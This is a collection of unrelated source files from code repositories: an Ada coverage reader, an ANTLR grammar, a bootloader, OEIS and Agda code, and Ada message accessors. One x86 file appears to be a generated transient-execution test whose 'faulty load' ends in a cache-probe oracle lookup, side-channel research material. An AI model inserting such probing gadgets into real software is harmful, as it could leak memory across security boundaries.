00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
gcc-gcc-7_3_0-release/gcc/ada/get_scos.adb | best08618/asylo | 7 | 25497 | <filename>gcc-gcc-7_3_0-release/gcc/ada/get_scos.adb
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G E T _ S C O S --
-- --
-- B o d y --
-- --
-- Copyright (C) 2009-2016, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
pragma Ada_2005;
-- This unit is not part of the compiler proper, it is used in tools that
-- read SCO information from ALI files (Xcov and sco_test). Ada 2005
-- constructs may therefore be used freely (and are indeed).
with Namet; use Namet;
with SCOs; use SCOs;
with Types; use Types;
with Ada.IO_Exceptions; use Ada.IO_Exceptions;
procedure Get_SCOs is
Dnum : Nat;
C : Character;
Loc1 : Source_Location;
Loc2 : Source_Location;
Cond : Character;
Dtyp : Character;
use ASCII;
-- For CR/LF
function At_EOL return Boolean;
-- Skips any spaces, then checks if we are the end of a line. If so,
-- returns True (but does not skip over the EOL sequence). If not,
-- then returns False.
procedure Check (C : Character);
-- Checks that file is positioned at given character, and if so skips past
-- it, If not, raises Data_Error.
function Get_Int return Int;
-- On entry the file is positioned to a digit. On return, the file is
-- positioned past the last digit, and the returned result is the decimal
-- value read. Data_Error is raised for overflow (value greater than
-- Int'Last), or if the initial character is not a digit.
procedure Get_Source_Location (Loc : out Source_Location);
-- Reads a source location in the form line:col and places the source
-- location in Loc. Raises Data_Error if the format does not match this
-- requirement. Note that initial spaces are not skipped.
procedure Get_Source_Location_Range (Loc1, Loc2 : out Source_Location);
-- Skips initial spaces, then reads a source location range in the form
-- line:col-line:col and places the two source locations in Loc1 and Loc2.
-- Raises Data_Error if format does not match this requirement.
procedure Skip_EOL;
-- Called with the current character about to be read being LF or CR. Skips
-- past CR/LF characters until either a non-CR/LF character is found, or
-- the end of file is encountered.
procedure Skip_Spaces;
-- Skips zero or more spaces at the current position, leaving the file
-- positioned at the first non-blank character (or Types.EOF).
------------
-- At_EOL --
------------
function At_EOL return Boolean is
begin
Skip_Spaces;
return Nextc = CR or else Nextc = LF;
end At_EOL;
-----------
-- Check --
-----------
procedure Check (C : Character) is
begin
if Nextc = C then
Skipc;
else
raise Data_Error;
end if;
end Check;
-------------
-- Get_Int --
-------------
function Get_Int return Int is
Val : Int;
C : Character;
begin
C := Nextc;
Val := 0;
if C not in '0' .. '9' then
raise Data_Error;
end if;
-- Loop to read digits of integer value
loop
declare
pragma Unsuppress (Overflow_Check);
begin
Val := Val * 10 + (Character'Pos (C) - Character'Pos ('0'));
end;
Skipc;
C := Nextc;
exit when C not in '0' .. '9';
end loop;
return Val;
exception
when Constraint_Error =>
raise Data_Error;
end Get_Int;
-------------------------
-- Get_Source_Location --
-------------------------
procedure Get_Source_Location (Loc : out Source_Location) is
pragma Unsuppress (Range_Check);
begin
Loc.Line := Logical_Line_Number (Get_Int);
Check (':');
Loc.Col := Column_Number (Get_Int);
exception
when Constraint_Error =>
raise Data_Error;
end Get_Source_Location;
-------------------------------
-- Get_Source_Location_Range --
-------------------------------
procedure Get_Source_Location_Range (Loc1, Loc2 : out Source_Location) is
begin
Skip_Spaces;
Get_Source_Location (Loc1);
Check ('-');
Get_Source_Location (Loc2);
end Get_Source_Location_Range;
--------------
-- Skip_EOL --
--------------
procedure Skip_EOL is
C : Character;
begin
loop
Skipc;
C := Nextc;
exit when C /= LF and then C /= CR;
if C = ' ' then
Skip_Spaces;
C := Nextc;
exit when C /= LF and then C /= CR;
end if;
end loop;
end Skip_EOL;
-----------------
-- Skip_Spaces --
-----------------
procedure Skip_Spaces is
begin
while Nextc = ' ' loop
Skipc;
end loop;
end Skip_Spaces;
Buf : String (1 .. 32_768);
N : Natural;
-- Scratch buffer, and index into it
Nam : Name_Id;
-- Start of processing for Get_SCOs
begin
SCOs.Initialize;
-- Loop through lines of SCO information
while Nextc = 'C' loop
Skipc;
C := Getc;
-- Make sure first line is a header line
if SCO_Unit_Table.Last = 0 and then C /= ' ' then
raise Data_Error;
end if;
-- Otherwise dispatch on type of line
case C is
-- Header or instance table entry
when ' ' =>
-- Complete previous entry if any
if SCO_Unit_Table.Last /= 0 then
SCO_Unit_Table.Table (SCO_Unit_Table.Last).To :=
SCO_Table.Last;
end if;
Skip_Spaces;
case Nextc is
-- Instance table entry
when 'i' =>
declare
Inum : SCO_Instance_Index;
begin
Skipc;
Skip_Spaces;
Inum := SCO_Instance_Index (Get_Int);
SCO_Instance_Table.Increment_Last;
pragma Assert (SCO_Instance_Table.Last = Inum);
Skip_Spaces;
declare
SIE : SCO_Instance_Table_Entry
renames SCO_Instance_Table.Table (Inum);
begin
SIE.Inst_Dep_Num := Get_Int;
C := Getc;
pragma Assert (C = '|');
Get_Source_Location (SIE.Inst_Loc);
if At_EOL then
SIE.Enclosing_Instance := 0;
else
Skip_Spaces;
SIE.Enclosing_Instance :=
SCO_Instance_Index (Get_Int);
pragma Assert (SIE.Enclosing_Instance in
SCO_Instance_Table.First
.. SCO_Instance_Table.Last);
end if;
end;
end;
-- Unit header
when '0' .. '9' =>
-- Scan out dependency number and file name
Dnum := Get_Int;
Skip_Spaces;
N := 0;
while Nextc > ' ' loop
N := N + 1;
Buf (N) := Getc;
end loop;
-- Make new unit table entry (will fill in To later)
SCO_Unit_Table.Append (
(File_Name => new String'(Buf (1 .. N)),
File_Index => 0,
Dep_Num => Dnum,
From => SCO_Table.Last + 1,
To => 0));
when others =>
raise Program_Error;
end case;
-- Statement entry
when 'S' | 's' =>
declare
Typ : Character;
Key : Character;
begin
Key := 'S';
-- If continuation, reset Last indication in last entry stored
-- for previous CS or cs line.
if C = 's' then
SCO_Table.Table (SCO_Table.Last).Last := False;
end if;
-- Initialize to scan items on one line
Skip_Spaces;
-- Loop through items on one line
loop
Nam := No_Name;
Typ := Nextc;
case Typ is
when '>' =>
-- Dominance marker may be present only at entry point
pragma Assert (Key = 'S');
Skipc;
Key := '>';
Typ := Getc;
-- Sanity check on dominance marker type indication
pragma Assert (Typ in 'A' .. 'Z');
when '1' .. '9' =>
Typ := ' ';
when others =>
Skipc;
if Typ = 'P' or else Typ = 'p' then
if Nextc not in '1' .. '9' then
Name_Len := 0;
loop
Name_Len := Name_Len + 1;
Name_Buffer (Name_Len) := Getc;
exit when Nextc = ':';
end loop;
Skipc; -- Past ':'
Nam := Name_Find;
end if;
end if;
end case;
if Key = '>' and then Typ /= 'E' then
Get_Source_Location (Loc1);
Loc2 := No_Source_Location;
else
Get_Source_Location_Range (Loc1, Loc2);
end if;
SCO_Table.Append
((C1 => Key,
C2 => Typ,
From => Loc1,
To => Loc2,
Last => At_EOL,
Pragma_Sloc => No_Location,
Pragma_Aspect_Name => Nam));
if Key = '>' then
Key := 'S';
end if;
exit when At_EOL;
end loop;
end;
-- Decision entry
when 'E' | 'G' | 'I' | 'P' | 'W' | 'X' | 'A' =>
Dtyp := C;
if C = 'A' then
Name_Len := 0;
while Nextc /= ' ' loop
Name_Len := Name_Len + 1;
Name_Buffer (Name_Len) := Getc;
end loop;
Nam := Name_Find;
else
Nam := No_Name;
end if;
Skip_Spaces;
-- Output header
declare
Loc : Source_Location;
begin
-- Acquire location information
if Dtyp = 'X' then
Loc := No_Source_Location;
else
Get_Source_Location (Loc);
end if;
SCO_Table.Append
((C1 => Dtyp,
C2 => ' ',
From => Loc,
To => No_Source_Location,
Last => False,
Pragma_Aspect_Name => Nam,
others => <>));
end;
-- Loop through terms in complex expression
C := Nextc;
while C /= CR and then C /= LF loop
if C = 'c' or else C = 't' or else C = 'f' then
Cond := C;
Skipc;
Get_Source_Location_Range (Loc1, Loc2);
SCO_Table.Append
((C2 => Cond,
From => Loc1,
To => Loc2,
Last => False,
others => <>));
elsif C = '!' or else
C = '&' or else
C = '|'
then
Skipc;
declare
Loc : Source_Location;
begin
Get_Source_Location (Loc);
SCO_Table.Append
((C1 => C,
From => Loc,
Last => False,
others => <>));
end;
elsif C = ' ' then
Skip_Spaces;
elsif C = 'T' or else C = 'F' then
-- Chaining indicator: skip for now???
declare
Loc1, Loc2 : Source_Location;
pragma Unreferenced (Loc1, Loc2);
begin
Skipc;
Get_Source_Location_Range (Loc1, Loc2);
end;
else
raise Data_Error;
end if;
C := Nextc;
end loop;
-- Reset Last indication to True for last entry
SCO_Table.Table (SCO_Table.Last).Last := True;
-- No other SCO lines are possible
when others =>
raise Data_Error;
end case;
Skip_EOL;
end loop;
-- Here with all SCO's stored, complete last SCO Unit table entry
SCO_Unit_Table.Table (SCO_Unit_Table.Last).To := SCO_Table.Last;
end Get_SCOs;
|
scim-spec/scim-spec-protocol/src/main/antlr4/imports/Json.g4 | hoggmania/SCIMple-Identity | 0 | 6282 | grammar Json;
// Json Number
NUMBER: (MINUS)? INT (FRAC)? (EXP)?;
DEC_PT: '.';
fragment DIGIT1_9 : [1-9] ;
fragment DIGIT : [0-9] ;
E: 'e' | 'E';
EXP: E (MINUS | PLUS)? DIGIT+;
FRAC: DEC_PT DIGIT+;
INT: ZERO | DIGIT1_9 DIGIT+;
MINUS: '-';
PLUS: '+';
ZERO: '0';
// Json String
STRING: '"' (CHAR)* '"';
fragment CHAR: UNESCAPED | ESCAPED;
fragment UNESCAPED : (' ' .. '!') | ('#' .. '[') | (']' .. '~');
fragment ESCAPED: '\\' ('"' | '\\' | '/' | 'b' | 'f' | 'n' | 'r' | 't'); |
boot/second_boot.asm | DriesCode/bootloaders | 6 | 22313 | org 0x7E00
bits 16
start:
; Check 2nd bootloader loaded
mov si, loaded
call print_str
; Load kernel?
mov si, lkernel
call print_str
menu: ; Menu
xor ax, ax
int 16h ; Read keyboard
cmp ah, 3Bh ; F1
je load_kernel
cmp ah, 3Ch ; F2
je .load_shell
.load_shell:
mov bx, 0x8e00
mov ah, 02h
mov al, 0x1
mov ch, 0x0
mov cl, 0x3
mov dh, 0x0
mov dl, [0x7C24]
int 13h
jc dsk_error
cmp al, 0x1
jne dsk_error
xor ax, ax ; Reset driver
int 13h
jmp bx ; Jump to shell
cli
hlt
dsk_error:
mov ah, 0Ah
mov cx, 1
xor bx, bx
mov al, 'Q'
int 10h
cli
hlt
%include "screen.asm"
%include "32b.asm"
loaded: db "Second bootloader has been loaded successfully.", 13, 0
lkernel: db "F1 - Load 32-bit Kernel.", 13, "F2 - 16-bit Shell.", 13, 0
|
programs/oeis/209/A209008.asm | neoneye/loda | 22 | 244802 | ; A209008: Number of 4-bead necklaces labeled with numbers -n..n not allowing reversal, with sum zero and first and second differences in -n..n.
; 1,3,5,10,16,26,38,55,75,101,131,168,210,260,316,381,453,535,625,726,836,958,1090,1235,1391,1561,1743,1940,2150,2376,2616,2873,3145,3435,3741,4066,4408,4770,5150,5551,5971,6413,6875,7360,7866,8396,8948,9525,10125,10751,11401,12078,12780,13510,14266,15051,15863,16705,17575,18476,19406,20368,21360,22385,23441,24531,25653,26810,28000,29226,30486,31783,33115,34485,35891,37336,38818,40340,41900,43501,45141,46823,48545,50310,52116,53966,55858,57795,59775,61801,63871,65988,68150,70360,72616,74921,77273,79675,82125,84626
lpb $0
mov $2,$0
lpb $2
add $1,$2
sub $2,1
lpe
trn $0,2
add $1,1
lpe
add $1,1
mov $0,$1
|
oeis/131/A131686.asm | neoneye/loda-programs | 11 | 17026 | <reponame>neoneye/loda-programs
; A131686: Sum of squares of five consecutive primes.
; Submitted by <NAME>
; 208,373,653,989,1469,2189,2981,4061,5381,6701,8069,9917,12029,14069,16709,19541,22061,24821,27989,31421,35789,40661,45029,49589,53549,56909,62837,69389,76709,84149,93581,100253,107741,115541,124109,131837
mov $2,$0
add $2,1
mov $4,5
lpb $4
mov $0,$2
sub $4,1
add $0,$4
trn $0,1
seq $0,138692 ; Numbers of the form 86+p^2 (where p is a prime).
gcd $3,5
mul $3,$0
add $5,$3
lpe
mov $0,$5
div $0,5
sub $0,430
|
src/Categories/Object/Product/Indexed.agda | Trebor-Huang/agda-categories | 279 | 1998 | <reponame>Trebor-Huang/agda-categories
{-# OPTIONS --without-K --safe #-}
open import Categories.Category
-- this module characterizes a category of all products indexed by I.
-- this notion formalizes a category with all products up to certain cardinal.
module Categories.Object.Product.Indexed {o ℓ e} (C : Category o ℓ e) where
open import Level
open import Categories.Morphism.Reasoning C
open Category C
open Equiv
open HomReasoning
record IndexedProductOf {i} {I : Set i} (P : I → Obj) : Set (i ⊔ o ⊔ e ⊔ ℓ) where
field
-- the product
X : Obj
π : ∀ i → X ⇒ P i
⟨_⟩ : ∀ {Y} → (∀ i → Y ⇒ P i) → Y ⇒ X
commute : ∀ {Y} (f : ∀ i → Y ⇒ P i) → ∀ i → π i ∘ ⟨ f ⟩ ≈ f i
unique : ∀ {Y} (h : Y ⇒ X) (f : ∀ i → Y ⇒ P i) → (∀ i → π i ∘ h ≈ f i) → ⟨ f ⟩ ≈ h
η : ∀ {Y} (h : Y ⇒ X) → ⟨ (λ i → π i ∘ h) ⟩ ≈ h
η h = unique _ _ λ _ → refl
⟨⟩∘ : ∀ {Y Z} (f : ∀ i → Y ⇒ P i) (g : Z ⇒ Y) → ⟨ f ⟩ ∘ g ≈ ⟨ (λ i → f i ∘ g) ⟩
⟨⟩∘ f g = ⟺ (unique _ _ λ i → pullˡ (commute _ _))
⟨⟩-cong : ∀ {Y} (f g : ∀ i → Y ⇒ P i) → (eq : ∀ i → f i ≈ g i) → ⟨ f ⟩ ≈ ⟨ g ⟩
⟨⟩-cong f g eq = unique _ _ λ i → trans (commute _ _) (⟺ (eq i))
unique′ : ∀ {Y} (h h′ : Y ⇒ X) → (∀ i → π i ∘ h′ ≈ π i ∘ h) → h′ ≈ h
unique′ h h′ f = trans (⟺ (unique _ _ f)) (η _)
record IndexedProduct {i} (I : Set i) : Set (i ⊔ o ⊔ e ⊔ ℓ) where
field
P : I → Obj
productOf : IndexedProductOf P
open IndexedProductOf productOf public
AllProducts : ∀ i → Set (o ⊔ ℓ ⊔ e ⊔ suc i)
AllProducts i = (I : Set i) → IndexedProduct I
AllProductsOf : ∀ i → Set (o ⊔ ℓ ⊔ e ⊔ suc i)
AllProductsOf i = ∀ {I : Set i} (P : I → Obj) → IndexedProductOf P
|
src/ada/src/common/uxas-common-string_constant-message_group.ads | VVCAS-Sean/OpenUxAS | 88 | 5676 | -- see OpenUxAS\src\Includes\Constants\UxAS_String.h
package UxAS.Common.String_Constant.Message_Group is
RadarFilter : constant String := "RadarFilter";
VicsLogger : constant String := "VicsLogger";
AircraftPathPlanner : constant String := "AircraftPathPlanner";
GroundPathPlanner : constant String := "GroundPathPlanner";
PartialAirVehicleState : constant String := "PartialAirVehicleState";
end UxAS.Common.String_Constant.Message_Group;
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_604.asm | ljhsiun2/medusa | 9 | 16809 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x2d4, %rsi
lea addresses_WT_ht+0xf55c, %rdi
add %r10, %r10
mov $61, %rcx
rep movsq
nop
nop
nop
sub $59118, %rsi
lea addresses_normal_ht+0x15ef4, %r10
nop
add %rsi, %rsi
mov (%r10), %rdi
sub %rcx, %rcx
lea addresses_UC_ht+0x1bf4, %rsi
nop
cmp $53841, %r14
mov (%rsi), %r15d
nop
inc %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %rax
push %rbx
push %rcx
push %rsi
// Store
lea addresses_WC+0x117d4, %r8
nop
nop
nop
cmp $30259, %rax
mov $0x5152535455565758, %rcx
movq %rcx, (%r8)
nop
nop
nop
add %rsi, %rsi
// Store
lea addresses_normal+0x57d4, %r13
nop
nop
nop
nop
nop
xor $59383, %r10
mov $0x5152535455565758, %rax
movq %rax, (%r13)
nop
nop
sub $15246, %rbx
// Store
lea addresses_normal+0xde04, %rcx
xor $7994, %rbx
movl $0x51525354, (%rcx)
nop
nop
dec %r10
// Store
lea addresses_PSE+0xf7d4, %rbx
nop
nop
nop
nop
xor %rsi, %rsi
movb $0x51, (%rbx)
nop
nop
nop
inc %r13
// Store
lea addresses_WT+0xf7d4, %r13
nop
nop
nop
add $55564, %rax
movw $0x5152, (%r13)
nop
nop
nop
dec %r10
// Faulty Load
lea addresses_normal+0x16fd4, %rax
xor $36842, %r13
mov (%rax), %rsi
lea oracles, %rcx
and $0xff, %rsi
shlq $12, %rsi
mov (%rcx,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
ada/src/afrl/cmasi/afrl-cmasi-cameraconfiguration.adb | joffreyhuguet/LmcpGen | 0 | 18157 | <gh_stars>0
package body afrl.cmasi.cameraConfiguration is
function getFullLmcpTypeName(this : CameraConfiguration'Class) return String is ("afrl.cmasi.cameraConfiguration.CameraConfiguration");
function getLmcpTypeName (this : CameraConfiguration'Class) return String is ("CameraConfiguration");
function getLmcpType (this : CameraConfiguration'Class) return UInt32_t is (CmasiEnum'Pos(CAMERACONFIGURATION_ENUM));
function getSupportedWavelengthBand(this : CameraConfiguration'Class) return WavelengthBandEnum is (this.SupportedWavelengthBand);
procedure setSupportedWavelengthBand(this : out CameraConfiguration'Class; SupportedWavelengthBand : in WavelengthBandEnum) is
begin
this.SupportedWavelengthBand := SupportedWavelengthBand;
end setSupportedWavelengthBand;
function getFieldOfViewMode(this : CameraConfiguration'Class) return FOVOperationModeEnum is (this.FieldOfViewMode);
procedure setFieldOfViewMode(this : out CameraConfiguration'Class; FieldOfViewMode : in FOVOperationModeEnum) is
begin
this.FieldOfViewMode := FieldOfViewMode;
end setFieldOfViewMode;
function getMinHorizontalFieldOfView(this : CameraConfiguration'Class) return Float_t is (this.MinHorizontalFieldOfView);
procedure setMinHorizontalFieldOfView(this : out CameraConfiguration'Class; MinHorizontalFieldOfView : in Float_t) is
begin
this.MinHorizontalFieldOfView := MinHorizontalFieldOfView;
end setMinHorizontalFieldOfView;
function getMaxHorizontalFieldOfView(this : CameraConfiguration'Class) return Float_t is (this.MaxHorizontalFieldOfView);
procedure setMaxHorizontalFieldOfView(this : out CameraConfiguration'Class; MaxHorizontalFieldOfView : in Float_t) is
begin
this.MaxHorizontalFieldOfView := MaxHorizontalFieldOfView;
end setMaxHorizontalFieldOfView;
function getDiscreteHorizontalFieldOfViewList(this : CameraConfiguration'Class) return Vect_Float_t_Acc is (this.DiscreteHorizontalFieldOfViewList);
function getVideoStreamHorizontalResolution(this : CameraConfiguration'Class) return UInt32_t is (this.VideoStreamHorizontalResolution);
procedure setVideoStreamHorizontalResolution(this : out CameraConfiguration'Class; VideoStreamHorizontalResolution : in UInt32_t) is
begin
this.VideoStreamHorizontalResolution := VideoStreamHorizontalResolution;
end setVideoStreamHorizontalResolution;
function getVideoStreamVerticalResolution(this : CameraConfiguration'Class) return UInt32_t is (this.VideoStreamVerticalResolution);
procedure setVideoStreamVerticalResolution(this : out CameraConfiguration'Class; VideoStreamVerticalResolution : in UInt32_t) is
begin
this.VideoStreamVerticalResolution := VideoStreamVerticalResolution;
end setVideoStreamVerticalResolution;
end afrl.cmasi.cameraConfiguration;
|
agda/TreeSort/Impl1.agda | bgbianchi/sorting | 6 | 16623 | open import Relation.Binary.Core
module TreeSort.Impl1 {A : Set}
(_≤_ : A → A → Set)
(tot≤ : Total _≤_) where
open import BTree {A}
open import Data.List
open import Data.Sum
insert : A → BTree → BTree
insert x leaf = node x leaf leaf
insert x (node y l r)
with tot≤ x y
... | inj₁ x≤y = node y (insert x l) r
... | inj₂ y≤x = node y l (insert x r)
treeSort : List A → BTree
treeSort [] = leaf
treeSort (x ∷ xs) = insert x (treeSort xs)
|
cc4x86/tests/regressive/asm_listings/mul_div_.asm | artyompal/C-compiler | 4 | 244770 | <reponame>artyompal/C-compiler<gh_stars>1-10
.686
.model flat
.xmm
.code
_test proc
push ebp
mov ebp,esp
sub esp,44
mov dword ptr [ebp-4],2
mov dword ptr [ebp-8],3
mov dword ptr [ebp-12],4
mov dword ptr [ebp-16],5
mov eax,[ebp-8]
xor edx,edx
div dword ptr [ebp-4]
mov [ebp-24],eax
mov eax,[ebp-8]
xor edx,edx
div dword ptr [ebp-4]
mov [ebp-28],eax
mov eax,[ebp-24]
mul dword ptr [ebp-28]
mov [ebp-24],eax
mov eax,[ebp-16]
xor edx,edx
div dword ptr [ebp-12]
mov [ebp-32],eax
mov eax,[ebp-16]
xor edx,edx
div dword ptr [ebp-12]
mov [ebp-36],eax
mov eax,[ebp-32]
mul dword ptr [ebp-36]
mov [ebp-32],eax
mov eax,[ebp-24]
add eax,[ebp-32]
mov [ebp-20],eax
cmp dword ptr [ebp-20],2
je label0000
mov edx,1
mov eax,edx
add esp,44
pop ebp
ret
label0000:
mov eax,[ebp-12]
xor edx,edx
div dword ptr [ebp-4]
mov [ebp-12],eax
cmp dword ptr [ebp-12],2
je label0001
mov edx,2
mov eax,edx
add esp,44
pop ebp
ret
label0001:
mov eax,[ebp-16]
xor edx,edx
div dword ptr [ebp-8]
mov [ebp-16],edx
cmp dword ptr [ebp-16],2
je label0002
mov eax,3
add esp,44
pop ebp
ret
label0002:
mov eax,[ebp-4]
mul dword ptr [ebp-8]
mov [ebp-12],eax
cmp dword ptr [ebp-12],6
je label0003
mov eax,4
add esp,44
pop ebp
ret
label0003:
mov eax,[ebp-4]
mov [ebp-16],eax
mov eax,[ebp-16]
mul dword ptr [ebp-8]
mov [ebp-16],eax
cmp dword ptr [ebp-16],6
je label0004
mov eax,5
add esp,44
pop ebp
ret
label0004:
mov dword ptr [ebp-4],65536
mov dword ptr [ebp-8],65536
mov eax,[ebp-4]
mul dword ptr [ebp-8]
cmp eax,0
je label0005
mov eax,6
add esp,44
pop ebp
ret
label0005:
mov dword ptr [ebp-4],2
mov dword ptr [ebp-8],3
mov dword ptr [ebp-12],4
mov dword ptr [ebp-16],5
mov eax,[ebp-8]
xor edx,edx
div dword ptr [ebp-4]
mov [ebp-40],eax
mov eax,[ebp-12]
xor edx,edx
div dword ptr [ebp-4]
mov [ebp-44],eax
mov eax,[ebp-40]
mul dword ptr [ebp-44]
